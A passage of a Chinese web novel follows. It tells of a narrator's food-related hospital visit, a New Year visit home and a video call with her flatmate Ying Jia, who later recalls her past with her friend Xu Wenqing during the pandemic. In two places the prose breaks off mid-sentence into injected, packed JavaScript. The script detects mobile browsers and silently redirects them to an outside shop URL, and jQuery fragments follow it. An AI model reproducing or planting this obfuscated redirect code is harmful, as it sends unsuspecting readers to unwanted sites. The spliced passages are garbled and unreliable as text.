不过没想到的是,就是多留的这几天里,我还惹了件麻烦出来。 那天具体是几号我也记不清了。 因为前一夜看小说熬了个通宵,第二日我直睡到下午五六点才起,醒来时我见应嘉正在开线上教研会,一个人便懒得动弹,从冰箱里找了俩三色杯雪糕,不知不觉吃了个干净,又点了唯一还营业的那家的炸鸡锁骨外卖当晚饭。 吃完后靠在客厅沙发上,继续看昨夜没看完的小说。 后来看着看着就又睡着了,再次醒来就是在疼痛中被应嘉喊醒的。 她满脸着急,问我怎么了。我说不上话来,只感觉疼到神志不清,疼到根本分不明白究竟是哪里疼,绞成一团地疼,肩膀疼,手臂好像也疼,胸口也疼,又闷又疼。 应嘉打急救电话,里面说了什么我也没听清,反正最后是应嘉在小镇出租车群里出高价叫了辆车过来。 她半扶半抱着我下楼上了车。 医院离得并不远,这地方又不堵车,照例要不到十五分钟就能到。 在车上,我迷迷糊糊地靠在应嘉身上,听到应嘉一遍又一遍催促师傅快些再快些。我不知道是不是我听错了,总觉得应嘉声音在发抖。 到了医院急诊处,我被安排立马做了心电图。 这时候,我自己才觉出害怕来,可别真是昨晚熬夜给心脏熬出问题了吧? 幸好最后排除了心脏问题,确诊是食管问题,肠胃受到了刺激,食管痉挛。医生给开了药,吃下去后,疼痛很快就缓解了。 按照医生要求,不疼了也要留院观察一两个小时再走。 护士怕我冷,安排我坐在暖气较足的输液区等着。 应嘉在旁边陪着我。 我眼镜没带,视线一直很模糊,直到这个安静下来的时刻,我才看清医院横柱贴着的镜子里映出的两张脸上,应嘉的脸色竟比我还要苍白。 我愣了几愣,小心拍了拍应嘉的胳膊,“我是不是把你吓到了?” 应嘉倒也没否认,“的确吓了跳。” 我很是自责,又想起自己得知可能是心脏问题时都被吓到,应嘉估计也是想到这点而害怕,便故意装作轻松摸样安慰她,“放心好啦,我这才二十多岁的人,那那么容易猝死嘛!” 应嘉闻言,神情却恍惚更甚,但最后许是被我感染到,浅浅嗯了声。 我心头放松下来,一两小时转瞬就过完了,应嘉喊医生来看了下,确认没问题后,医生知会我次日上午再到消化科复查一下,今天可以回去了。 我俩到家时已经是凌晨三点多。 应嘉拿钥匙开门,屋里根本没关灯,沙发抱枕掉在地上,我瞧见了,本来想开个玩笑说这次多谢应嘉反应迅速救我狗命的,但一低头发现应嘉脚上竟然只穿了一只拖鞋。 拖鞋丢失的那只脚上,袜子已经脏兮兮一片。 (十三) 我不明白,这世上怎么会有应嘉这么好的人。 我想把应嘉忽悠去我家过年,但意料之中,以失败结束。 我回到老家时,是腊月二十六日。 在老家缓了个神,转眼就已经年后。这日子看着枯燥,实际上每天也是事儿不断。 人心复杂,追究纯粹才是自寻烦恼,我看得开,应付舅舅姨姨也还算轻松,反正就是芥蒂别往心里去,好话不全当真,但也不必全盘否认真心就是了。 十几年前,得知我在学校被人喊是没爸爸的小孩,气到冲到学校一定要为我讨个说法的青年,和如今一边啜着茶叶一边嫌弃我没有工作比不上其他人的中年人,的的确确是同一人。 而那个在我童年时用自己卖头发的钱偷偷给我买新衣服买故事书的姑娘,现在虽然一见到我便催我快些结婚生子,可她也仍旧记得我爱吃糖糕,得知我回家的第二天就炸了一馍筐糖糕送了过来。又追问我什么时候走,要走之前再炸一些让我带着。 反倒是妈妈,有次听见舅舅越说越说没个完了,拿着水瓢出来直接狠狠给了舅舅几下。 回头瞧见我在旁边傻乐,气得连我也骂,“出去出去,看见你就烦!” 一同被赶出家门,舅舅要拉着我去就住在同村的小姨家晃荡。 我实在怕了小姨要给我介绍对象的热情,赶紧拒了,恰看见二表哥家的两个孩子过来,赶紧拉来做依靠,又重新进了自家的门。 两个小朋友,侄女已经读六年级,侄子刚上一年级。 我妈妈喜欢小孩子,果然气立马就消了。 我拆了一套之前买的还没来得及玩的立体拼图给两个小孩玩,自己拿着手机想要给应嘉发消息。我想和她说说家里的这种鸡毛蒜皮的事,但又怕这会让她触景生情,打字打着打着又全删了。 消息框里,上个消息停留在昨天,是我说发现了一款特别好喝的花茶,要回去时带给她试一试。 我到底发什么消息好呢。 正纠结时,二表嫂来了。 来送作业的。 原来是侄女学校老师布置的试卷上有些题目不会,家里人除了我读了个本科外,其他人最高也就是高中学历,根本辅导不了孩子,表嫂便想趁着我在家让我帮帮忙。 我起初想着六年级作业应该还好,结果一看傻眼了,倒不是说不会做,而是我只会用方程解题,但小侄女目前学到都是一些简易方程,复杂的根本不会。 我本来想搜题软件搜搜,后来转念一想,这不正是给应嘉发消息的好机会嘛! 我把题目拍照给应嘉。 那是一道工程题目。 说是有一项工程,甲乙合作需要12天完成,如果甲先做10天,乙再做15天,同样也可以完成,题目让求甲单独做完需要多少天。 应嘉很快给我了回复。草稿纸上,娟秀的字迹写了计算过程,还附带发来了讲解语音过来。 我听了一遍,又加大音量放给侄女听了一遍。 这道题迎刃而解。 很快开始下一道。 有了应嘉这个外挂在,十多张数学试卷上所有空着的题目很快都解决完毕。 我向应嘉道谢,打扰了她这么长时间。 应嘉回复,“不打扰,我今天下午本来也是闲着。” 我想象着她说这话时的语气与神情,突然就很想早点买票早点回去。 我之前给应嘉做鸡蛋手擀面,两次都不怎么成功,这次回家后专门向妈妈又学习了下和面技巧,我想立马到应嘉面前显摆显摆。 我偷偷买了年初十的票。 本来我和应嘉说的是我应该会在家里过完十五再回去。 其实我还想更早些回,但是年初七,我有个表妹结婚,我得去吃喜酒。 我们当地喜酒正宴都是中午,那天中午吃完后,场子还没散,我就又被另外几个年龄相仿的亲戚拉去了KTV。 喜宴上我没喝酒,但在KTV热闹一下午,口焦舌燥,倒是喝了点表姐偷偷藏在包里带进来的荔枝酒。 结果,一次性的杯子,我来了半杯就不成了,仓促找了个借口回家去。 到家中后,天也黑了,妈妈见我晕乎乎摸样,气得不行,但一听我没吃饭,又忙不迭地去煮饭。 红薯粥,配上喜宴上带回来的菜煮成的大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17459055|201260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 杂烩,可真是太美味了。 我和妈妈说,要是应嘉在就好了,一定要让她尝一尝这样煮出来的肘子皮,吃起来绝对不腻! 妈妈问我应嘉是和我一起住的那姑娘吗? 我说是。 妈妈又感叹,应嘉这名字真好听,是不是城里人家养出来的姑娘? 我摇头。 我告诉妈妈应嘉的名字是她和朋友一起取的。 妈妈惊叹,那这乖乖可真了不得! 我心情大好,特别想让妈妈见见赢应嘉,于是头脑一热,给应嘉打了个视频电话—— 刚打完就后悔,但没来得及挂断,就被接通了。 应嘉看向镜头的眼睛带着疑惑。 我脸一下子就胀红了,磕磕绊绊解释说,“我妈妈想和你打个招呼……你在忙吗?” 好在应嘉并没在意我这样冒昧的打扰,“可以啊,嗯,阿姨呢?” 我妈妈正急着把围裙脱了,又跑到贴在衣柜门上的镜子前整理头发和毛衣,还把年前和小姨一起逛街时买的皮草大衣拿了出来准备套在身上。 我悄悄把镜头向着那边照了下,压着声音对应嘉笑,“忙着打扮呢!” 应嘉明显愣了下,过了一两秒,似是想起了什么,说让我也稍等一下。 我催促妈妈快些,妈妈终于打扮好了过来时,应嘉也重新出现在了镜头中。 我这才知道,应嘉刚刚是去换衣服了。 她本来身上穿的是睡衣,现在换成了一件带领子的两件套,头发也重新梳理过。 她轻轻笑了下,“阿姨好。” 我妈妈一辈子最最喜欢的就是年轻知礼貌的孩子,当下就乐得合不拢嘴,若非现在只是线上视频,我妈妈怕是已经忍不住拉住应嘉的手开始一顿夸了。 哪怕是现在这样,也没少夸,我眼看着应嘉那样淡定的人最后都开始脸红了。 我妈妈还在没一句重复的,一句这孩子眼睛生得真漂亮,又一句皮肤真是顶顶好,再一句一个人在外面生活真是了不起,加一句说话声音像黄鹂鸟似的…… 最后把应嘉说得实在顶不住了,眼神悄悄向我求助。 我笑得肚子疼,最后借口说酒劲上来了头晕带着应嘉一同逃回了卧室。 我趴在床上,边笑边问应嘉我妈妈是不是把她吓到了。应嘉神色认真,说阿姨人很好。 我后悔没录屏,不然把这话放给我妈妈听,没准我妈一高兴,能给我发个几百的红包。 时间才七点多,我问应嘉晚上有没有其他安排,要不要一起到B站开房间连麦看电影。 之前在小镇时,没有事要忙的晚上,我和应嘉就经常一起看电影。 应嘉答应了。 电影是我选的,我想着选一个轻喜剧电影,结果选了个烂片出来。 我和应嘉边看边吐槽,最后话题跑偏,电影已经成了背景音。 后来不知怎么就说起了上大学时的日子。我和应嘉说,那时放假回老家抢车票每次都提心吊胆,一天刷无数次12306,生怕买不到票,尤其是我老家这边的县城早几年根本没通高铁,只能坐火车回来。 应嘉说,她老家那边县城直到现在也没通高铁,火车车次也少得可怜。 大学时期,从学校回老家的火车一天只有一次,半下午出发,凌晨三点多抵达。 我听得担心,问应嘉那时会不会害怕。 应嘉说,第一次害怕过。 第一次……那就是2016年的冬天时。 半夜三点多抵达,那时应嘉大概率不会舍得花钱住旅店的。 半夜三更等到天亮吗? 我后悔提起这个话题,开玩笑活跃气氛,假装埋怨应嘉那时为什么不给我打电话,我一定从我老家这里直接飞到车站去接她。 应嘉许是看出我的意图,摇头失笑,“没你想的那么惨。” 她接着说, “我记得那时学校是1月11号下午考完了最后一门公共课思修,我买了1月13日下午的票,半夜临近老家,才发现外面在下雪。我老家县城火车站出口多年未修过,很是简陋,我还没下车时就想好了,下车后就去取票机旁边待着。那里有监控,安全还可以躲雪。 但我一出站,还没下台阶,就看见我朋友已经在外面等我了。” 我脱口而出,“徐文清吗?” 应嘉点头, “她说睡不着,没事干,不如溜达到车站来接我,顺便蹭我一顿饭……我请她到车站旁边的24小时面馆吃饭,那是一种我老家的特色面,干捞出来的面条,浇上特制辣椒油,再奢侈地点两晚加两个鸡蛋的酸汤……” 她停顿了一会,才笑着道,“那时也是年轻,那样的半夜时分,也不知道疲惫,连雪砸在脸上都觉得是暖的。” 是怀念青春么?我持怀疑态度。 我在床上打了个滚,抬头看时,镜头里应嘉眉梢眼角的笑意依旧浓郁,我实在忍不住追问她,“过去真的那么开心么?” 应嘉又笑,像是还沉浸在往事的快乐中,良久才回应我, “苦也是有的,但总归是欢愉多。” 我信她这话。 她说这话时,脸上没有一点儿过去的阴霾,没有一点儿对生活的抱怨,只是一双亮晶晶的眸子,因为舍不得过去,泪花都险些要被我看见。 我想说,应嘉,要往前看啊。 过去的事就让它过去吧。 可是我说不出口。 谁有权利去阻拦别人回味过去的美好呢? 那天关闭连麦房间后,我翻来覆去地睡不着觉。抱着枕头挤到楼下妈妈房间,依偎在床头和妈妈一起看短剧。 妈妈看我兴致不高的模样,还以为我是喝了酒头疼,见我说不是后,又皱眉问我是不是今天有人对我说什么不好的话了,我忙否认,没有的事。 妈妈仍旧不放心,手中钩针不停,语气却认真, “你舅舅是个嘴上没把门的,你甭理会他那些烂话,什么挣钱多挣钱少的,指望孩子给家里掏钱,丢脸不丢脸?反正你妈我丢不起这个脸,你放心好了,我卖了二十多年的烧饼可不是白卖的,存折里不缺钱,你想干什么尽管去干,喜欢写东西,写就是了,要不是你不让我讲,我好歹得请客炫耀炫耀我闺女是个大作家!” 我缩进被窝里,心头纠缠的情绪散了大半。 我和妈妈讲,应嘉夸她人很好。 妈妈一脸乐呵呵,“这乖乖人也很好,你妈我看人可准了,这孩子眼神干净,哎,以后要是有机会,你请她来咱们这玩,前几天我在抖音看到新闻说县里要修飞机场了,到时你俩就坐飞机来,我出钱买飞机票!” 我哈哈大笑,如果真有邀请应嘉来玩的机会该多好。 转念一想,为何不能有这样的机会? 我常感叹我要是早些认识应嘉就好了。 但实际上,我们现在认识也不晚嘛。 后面,有的是时间,有的是机会。 我提前开始苦恼,我家在村子里,往上去县城去市区,也都是十八线,没什么景区,如果应嘉来了,我带她玩什么呢? 唉,我老家怎么不能争口气,搞个什么几朝古都历史名城的头衔出来呢? 我绞尽脑汁,和困意做斗争,终于终于,终于想到上学时老师说过李白来过我们这,还写过诗篇! 应嘉最喜欢的诗人就是李白。 我心满意足,睡了个大好觉。 6. 下弦月 (十四) 我回家时,行李箱里除了电脑和键盘外,剩下的只有带给妈妈的礼物和特产。 我离开家,行李箱里简直要装不下,什么都有,芝麻盐都整了满满一大罐,还塞了根说是巨好用的擀面杖。 小姨嫌弃我穿得土气,硬是到镇上服装大卖场买了套小香风也塞进我行李箱里。 还有舅舅塞进来的几盒烟,说是都是好烟,让我拿给领导抽,省得我花钱再去买……我没法了,赶在车来前的最后时刻成功拿了出来塞回他兜里,才松了口气。 从镇上做小客车,到县城再做高铁。 小客车破破烂烂的,窗外的景色也摇摇晃晃的。 距离春天还远呢。 但不妨碍这平原地带的冬小麦漫无边际的绿色。 小麦在等春天抽节儿。 我觉得我的心情已经到春天了。 我迫不及待想快点抵达临海小镇,想快点见到应嘉。 之前,我总是想着劝应嘉开始新的生活,这两天我却琢磨出来那样的方式都是错误的。堵不如疏,应嘉一直放不下过去,肯定是有过不去的心坎。而自从应嘉喝醉酒那次后,我怕碰到应嘉的伤心事,就不太敢追问她和徐文清的事了。 现在想来,就该问嘛。 应嘉或许从没对别人讲过过去,但现在我可以做她的听众。有些事情,压在心底重得让人喘不过气来,但说出来,去去尘灰,见见新鲜空气,一下子就变轻了。 我就怀着这样美好的愿景下了高铁。 在出租车上,和妈妈发了已经平安抵达的消息。 小镇天气有些阴沉,往常六点多其实天也黑了,但那天格外的黑。我被冻得打哆嗦,拖着行李箱和三四个包赶快往小区里走,一口气上楼,到了门前,从斜挎包里翻腾出钥匙开门。 屋里窗帘紧闭,一盏灯也没开。 若非客厅投影布上还有着些许亮光,可以照出沙发上一动不动的人影,我简直要怀疑应嘉是不是没在家了。 我换鞋时顺手开了灯,看向明显愣住的应嘉,嘿嘿挥了挥手,“是不是很惊讶我提前回来了?” 应嘉点头。 我本来以为应嘉正在看电影,进屋后才发现电影早就放完了,停留在幕布上的只是鸣谢的单位而已。 扫了眼,都是些不认识的公司。 我问应嘉,这是什么电影,好看吗? 应嘉却怔怔几秒,缓缓摇头,说忘记了。 这次轮到我愣了。我还以为是电影放完了她才开始在沙发上发呆的,合着这是一点儿也没看全程在发呆啊。 在门口时我就闻到了酒味,所以在沙发旁边的凳子上看见酒和酒杯时倒也不惊讶。 是一瓶白酒。 看了眼牌子,没听说过,我猜测,很可能是她在超市随便买的一瓶。 我之前就已经发现应嘉喝酒其实完全不挑酒的种类,也不挑酒的口味。她喝酒不是喜欢酒的味道。 瓶身不透明,我拿起晃了晃,察觉到里面还剩很多,微微松了口气。 我把行李箱打开,先从最边上掏出来我妈妈勾的拖鞋,绿底配红花,格外亮堂,我递给应嘉,“我妈妈给你做的!她从年前就开始做了,后来上次和你视频后,她一直念叨着要换个典雅的颜色,可惜时间来不及了,就在旁边——” 应嘉也发现了鞋面外侧用白色细毛线勾出的小雪花,她用手摸着,眼睛弯弯看向我, “我很喜欢,替我谢谢阿姨。” 我心情大好。 把行李箱当百宝箱,往外一样一样掏东西。 应嘉特别捧场,我安利什么东西,她都认真点头说一定要好好试一试。 哪怕我掏出了那套小香风套装,应嘉讷讷几秒,脸上有明显的犹豫,但是最后仍是诚恳道,“虽然和你以前的穿衣风格不大像,但是也可以试一试。” 我愤愤问她,说这话良心真的不会痛吗?! 应嘉面上终于绷不住了,笑意盈满面颊,“总不好闲置浪费吧。” 许是见我脸上无奈苦恼不似作伪,又安慰我道,“其实倒也不难看的,嗯……拆开穿或许会不错,等天暖些,这件外套可以配牛仔裤穿。” 我想象了下自己上面穿一件夹着亮闪闪金色线的红格子外套下面穿牛仔裤的场景,赶紧摇摇头把这场面甩出去,主动换了话题。 我问应嘉有没有吃晚饭,她说吃过了。时间还早,我也不累,干脆拿了很多零食放桌子上,和应嘉一起聊天。 应嘉去厨房里泡了一壶茶过来。 荔枝红茶,之前一次我俩在超市试喝了下,感觉不错,就买了一些回来。 不得不说,奔波一路,喝上一杯热气腾腾的茶水,真的太舒服了。 我捧着茶坐在单人小沙发上,直接原地化成话痨,叽里呱啦一口气把我过年回家遇到的各种事都说了个遍,说得口干舌燥,一壶的茶水被我喝了大半,应嘉还停留在第一杯上。 我看向应嘉,问她这些天都做了什么。 应嘉思索了下,说除了学生放假不用上课外,其他和平常一样。 和平常一样?那就是吃饭睡觉看书,以及必要的采购了。 吃饭睡觉看书,这样的生活不是不好,只是我想,这不适合应嘉。因为这样的生活既没有让她感到放松也没有让她感到快乐。 至少我问起她时,我没在她眼里发现一丁点儿的愉快踪迹。 总是缺点儿什么。 后来,我才意识到那种东西是对生活的期盼。 人没有这种东西,灵魂是活不下去的。 但那个当下我还一无所知。 我想起回来小镇之前的想法,索性直接开口问应嘉,能不能和我说一说她和徐文清大学毕业后的事情。 大概没想到我会突然说起这个,应嘉脸上闪过疑惑。 我解释说,其实我一直很好奇,只是之前不好意思开口问。 这话半真半假,但应嘉并没多想,只是笑着看向我,“这有什么不好意思的?” 她停顿了几秒钟,似乎在思索, “和其他的毕业生差不多吧,找到工作,开始工作,偶尔骂骂老板,也会吐槽吐槽同事,工资到账日会吃点儿放纵餐。一晃而已,就是一周过去了。说起来,一年也不过才五十多个星期而已。” 我当然不满意这么笼统的叙述。 我对应嘉说,“要不我来问吧?” 应嘉同意了。 (十五) 我其实也不知道从哪儿开始问起。 干脆想到什么说什么。 我问应嘉,她和徐文清是一毕业就一起合租了吗? 这在我看来只是个打开话头的问题,不问我也知道答案。但我真没想到,应嘉的回答竟然是不是。 甚至不是说不是一毕业就合租,而是从未一起合租过。 大概是我惊讶太明显,应嘉被逗乐了,“就这么吃惊吗?” 我摇头又点头。确实吃惊。 “那时赶在疫情时期,也去不了线下招聘会,清清本来在考研,过了国家线,但没到院校的复试线,她说预备再考一年,我当时想的是去她准备读研的城市找工作,但后来突发变故,清清直接找了工作。” 应嘉缓缓解释道, “她确定好工作在渚蘅后,我后面投简历也只投工作地点在渚蘅的,结果因为我俩对渚蘅都不了解,线上签完电子合同,七月中旬出发到了渚蘅,才知道这俩公司离了十万八千里。 一个是在市区,一个在下面的县城,只是后来重新划分,把县城改成了区。” 我对渚蘅倒是了解一些,“玉阳区吗?” 应嘉点头,“对。我想另寻工作,但连着面了几家都不如意,又碰上神经性皮炎反反复复的发作,状况不是很好,清清就陪我一起去了玉阳看看,没想到,这县城虽小,但城建非常不错,该有的都有,房租也便宜,步梯一室一厅不过五六百块,公司给的房租补贴完全可以覆盖房租。” 我想起之前好像听过玉阳区有单独的高铁站,便问应嘉。 应嘉回答说,“确实有,可以直接花十多块钱坐高铁去市区,十多分钟就到。” 我明白起来,估计这才是应嘉最后留在玉阳工作的原因,交通方便,见面也不大费事。 应嘉也笑了,“一开始还想着边工作边找找其他工作的,后来习惯了,倒是感觉也不错,尤其是清清特别喜欢玉阳的氛围,她总是说玉阳是慢节奏生活,每次周五下班到玉阳找我,都像是放松。” 我对玉阳好奇起来,“以后有机会,一定要去玩玩。” 应嘉摇头, “那你可能要失望了,那是一个特别小的地方,几乎所有的吃喝玩乐都集中在一个苏果超市旁,出行完全用不上车,电动车完全够用,甚至直接走路就行。 但如果在那里常住倒是不错,绿化很好,公园很多。图书馆很正式,电脑平板阅读器都有,桌椅都很舒服。 还有一条河,叫玉阳河,细长细长的,河两岸都铺着长长的木板路,下到河边,沿着木板路散散步,吹吹晚风,很是舒服。” 我脑海里随着应嘉的话浮现出这座小县城的样貌来,“听起来的确是慢节奏的生活哎,那都是徐文清去找你吗?” “我们俩休息时间不一样,她周六日休,于是周五晚上下班就会去玉阳,周六日有时在我住处休息,有时陪我一起去公司上班,或者去图书馆等我,等到周日下午,我上完最后一节课,再陪着她一起回市区,一直到周三上午,我才会回玉阳,然后周三下午去公司上班。” 我懵了下,“那你同事都见过徐文清了?” “何止是同事见过,我记得那时我周六日一共带六个班,班里的学生都认识清清了,因为有时打印机打印的资料太多,我忙着上课,没时间等,清清就在打印机旁边等,等打印好装订完帮我送到教室里……” 应嘉说到这里,似是想起了好笑的事情,笑出声来, “哈哈哈,那时,她一敲门,我班里学生就唉声叹气,说坏了坏了,那个送试卷的老师又来了。” 我也忍不住跟着笑,“小孩子有时候也挺可爱的。” 应嘉点头,“清清就特别喜欢小孩子,我工作的地方有英语课和数学课,来上数学课的一般都是四五六年级的,但上英语课的年龄都偏小,很多幼儿园小朋友,清清经常逗这些小朋友玩,还要拉着我,和我说哪个哪个特别可爱。 不过,我瞧着都没差别,一群小孩混在一起,根本分不清。” 我想起我妈妈,“我妈就特别喜欢小孩子,用她的话说,和小朋友们说说话,就什么烦恼也没了。” “清清也这样说过,”应嘉突然沉默了下,再开口时竟好似有些黯然,“其实是她那时压力太大了。” 我愣了下。 不明白应嘉为何这样讲。 正疑惑时,突然想起应嘉前面提起徐文清突然决定不二战考研的事情。 突发变故—— 我放轻了些声音,“是徐文清家里有什么事吗?” 应嘉别过脸,看向窗外,良久才继续道,“清清哥哥说是在线上买东西,遇到了骗子,被人骗了十几万网贷。” 那几年诈骗的确格外猖狂。我仍存疑惑,十几万这个数额,虽然已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17459056|201260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经很多了,但应该还没到让一家四口喘不过气的程度才是。 应嘉许是看出我的想法,面上闪过苦笑,“清清奶奶是2018年冬去世,走之前经历过很长时间的病痛折磨,清清家里本来也有些积蓄,但那时差不多清空了,还借了一些,一直到19年年底都还欠一点没结清。” 我皱眉,“疫情……那半年里也没法工作。” “是啊,那半年里,幼儿园停课,应阿姨没了收入,各个市县来往不便,清清爸爸只能跑一些本地的零碎运输。” 应嘉半垂着眸子, “可能就是因为这个吧,五月份交通刚刚放开些,清清爸爸为了多挣些钱,不顾疲惫开夜车,半路上出了事。” 啊! 我满目错愕。 应嘉仍旧微微低着头,只声音飘忽在空气中,“他自己伤势不严重,但是被撞的车上,后座坐着一位老人,当场身亡。” 我心头凉冰冰的。 一时之间,不知晓该说些什么。讷讷半晌,才蠕动着嘴唇,“死者家属出谅解书了吗?” “出了。同时也出了一口价。” 一片沉默中,我给应嘉杯中重新倒了一杯茶,给我也倒了一杯。 茶水氤氲的热气稍微冲散了一些刚刚的低气压。 我先开了口,“原来是这样……” 应嘉也和我一样双手捧着玻璃茶杯,似乎在从其中汲取一点儿热量,她眉眼有点儿模糊,待热气飘远,脸颊和声音才一并再次清晰起来。 “所以那时,清清也不是每周都会去玉阳,她经常要加班,周六加一天的也有,急的时候也可能加两天。 普通学校文科专业,本来就难以找到工资高的工作,清清做的那份工作,薪资待遇倒是不错,但是大头都在项目完成后的奖金分成…… 项目辅助申请,她公司是乙方,项目书的很多内容都要从甲方那里要资料,直白点,甲方配合度不够的话,简直是灾难,有时临近项目申报的截止期才勉强整理完信息,半夜还要拿着刚胶装好的项目书到甲方那里去盖章。” 我没做过类似的工作,但光听应嘉说的这几句就已然感到头大之处了。 应嘉继续道,“那时我想着多带一些课,多挣一些,先拿去给清清家里应急,但是清清不同意,只说让我先还了助学贷款再说,后来我把助学贷款还清后,再提起这个事,清清还是不同意。” 如果是我,我也不会同意。我在心里默默想。 我主动换了个话题方向,“好在她忙的时候,你还可以去找她,多少可以见见面。” 应嘉面上重新浮现出浅淡的笑意来,“是啊,那时多少还可以见见面。” 我问,“那时你工作应该也不轻松吧?” 应嘉思索了下,“因为是教销分体,所以倒是还好,只用烦恼学生成绩,不用发愁续费率这些……暑假会很忙,平日其他时间都是备课练课,只有周六日上课,但暑假一到,一周七天,六天都在上课。” 我想起以前在小红书上看到的教培人员晒出的暑假期间的排课表,密密麻麻的格子,看一眼就让人力竭,忍不住“咦”了声,抱紧肩膀感叹太可怕了! 应嘉被我的动作逗笑,“其实也不算难熬,想想课时费,忍一天,再忍一天,忍着忍着就忍到八月中下旬连休了。” “连休?” “对,那时暑假课一般在八月二十左右就结束,后面可以带薪连续休八九天。” 我这才感觉这工作的可怕之处减少了点,“这总算有点儿盼头了,可以放松放松,你假期都做什么呢?” “一般都是去市区,找清清,在她租的房子里等她下班,如果也赶上她不加班的周六日,也会一起外出玩玩。” 我想起渚蘅市距离郁南市很近,便问,“会去郁南玩吗?” 应嘉点头,“也去过,几所寺庙也都去过,清清很喜欢寺庙里烧香的味道,还说各个寺庙里空气的味道不一样,我有鼻窦炎,反正是一点儿差别也闻不出来。” 我脱口而出,“你不喜欢为何还要一起去啊?” 话出口,我就后悔了。 好在应嘉根本没发现任何异常,只是微微奇怪了下,抬头看向我,“我没有不喜欢啊。” 我换了个更具体些的说法,“比如市区和玉阳,你更喜欢哪一个?” 应嘉没犹豫,“没什么差别,我看着都一样。” 我又问,“那么渚蘅和郁南呢?” 应嘉依旧不假思索,“也是一样啊,高楼大厦,马路,汽车,地铁,学校,商超,人群……不都是这些吗?” 她似乎不明白我为何这样问,反过来问我,“你觉得是哪里不一样呢?” 当然哪哪都有不一样的地方。 我随口举例,“比如饮食上,还有建筑风格上,还有空气的湿度,路边花卉的种类——” 应嘉忽然扑哧一声笑了出来。 我愣了下,对上她笑眼,莫名感到脸上有些发烫。 我问,是不是我说了什么可笑的事情。 应嘉摇头,“清清和你一样,她也常说城市和城市不同,明明都是桃花,她却说市区的桃花花瓣上总是灰蒙蒙的,玉阳的就格外新鲜。” 这个我赞同,“车流量大的地方的花草叶上的确会灰尘大些。” 应嘉似乎在思索我的话的合理性,沉吟片刻,像是放弃了弄明白这些差别,只是看向我,语气很是认真, “你和清清一样,都是很好的人。” 我感觉脸上又烫了点,“……啊,什么意思?” “我也形容不上来……就是很喜欢这个世界的那种人。” 7. 下弦月 (十六) 我一紧张,就会试图用乱说话来掩饰。 而乱说话最简单最不费脑子的代表就是否认。 我说,“我也不喜欢这世界,我想死的时候那可太多了!” 应嘉忽然看了下手机,冲我眨了眨眼,“那你今天可不能想死,因为今天才星期五。” 我不明白这其中有什么关联,“所以?” “你知道老乡鸡吗?” 我点头,“知道,连锁快餐店。” “老乡鸡会员周一可以免费领鸡蛋,所以至少也要等到周一吃了鸡蛋再想死的事情啊。” 我差点被口水呛到,“那周一吃了鸡蛋,岂不是还要再等等把下下周一的鸡蛋也吃了才行?” “那倒是不用,”应嘉摆摆手,“可以先把周四的免费鸡腿吃了,再考虑下下周一的鸡蛋。” 我无从反驳,觉得这话很可爱,越想越是不自觉想笑。 又遗憾这滨海小镇没有老乡鸡,不然我也要去办个会员。 转念又想到,大概在之前时,她和徐文清之间也常拿老乡鸡的周一周四当做一种默契的暗号。 各种念头翻腾之间,我余光不留神瞧见外面夜色,突然惊觉自己已经跑题太久了。 我赶紧试图重新把话题拉回来。 我想了个问题,“工作后,你和徐文清最久多长时间没见过面?有超过一周的吗?” 应嘉蜷缩在沙发上,把下巴垫在抱枕上,闻言想了一会儿,“最长……有一个多月吧。” “是都太忙了吗?” “不是,是21年刚开春时,三月初,玉阳发现了几例阳性,突然就封城了。” 我吓一跳,“那你提前准备物资了吗?” 应嘉摇头,“我不喜欢做饭,所以当时家中几乎什么都没有,不过社区每天都会免费送菜,饿倒是饿不着。” 我仍旧担心,“那可以在小区内走走吗?” “不能,只能待在家里面。” 应嘉的厨艺我已经见识过了,我问她那段时间怎么解决的饮食,是不是要吃吐了。 应嘉果然面露苦色,“胡萝卜白萝卜大混煮吧。” 我安慰她,“……只能当是减肥了。” “其实一点儿也没瘦,”应嘉话中带了点无奈,“倒是清清,因为担心我,再加上视频指导我做饭时总是急得恨不得她能飞过来帮我做,后来解封后她到了玉阳见我,第一句就是她吃不好睡不好,人都瘦了。” “你们见面时估计是四月份了吧?” “是四月中旬,春天都开始好久了。” 我回想起疫情那几年里的各种波折,有些感慨,“也算是又度过一劫。” 应嘉点头认同, “是啊,我还记得,那时见面后我们一起吃了晚饭,两个人都不想睡觉,就去附近散步,路过旁边一所小学的开放式操场时,看见好多人在那儿跑步,我俩就也过去慢悠悠跑了一圈。 跑完后,两个人都气喘吁吁地躺在操场中间的草坪上,谁也没说话,只一口一口呼吸着春天的空气。” 我彷佛瞧见了那时应嘉和徐文清的身影。 二十余岁,相互信任地依偎着。 多美好的画面。 “疫情放开时呢?你们还在一起吗?” 应嘉摇头,“倒是想一起有个照应,可惜两个人都高烧烧到动不了,我去不了市区,她也来不了玉阳。” 我回想了下,“那时应该是十二月吧?” “最严重的时候正好是23年元旦当天,我白天还好,只是低烧,但天一黑就开始高烧,体温计看见接近四十度时,自己也吓到了。微信语音里,清清一直问我怎么样了,我也不敢告诉她。” 我大惊,“那你去医院了没?” 应嘉无奈,“去了,人挤人,大人小孩都挤在里面,想来也确实没办法。” 我着急地追问应嘉后续,要知道高烧可不是感冒,一不小心就会留下后遗症。 “后续?我也记不清了……后面我烧得脑子都有些糊涂了,酒精也擦了,湿毛巾也用了,药也吃了,躺床上熬着时,清清和我说,她找到了一种精神疗法,催我快试试。” “精神疗法?” 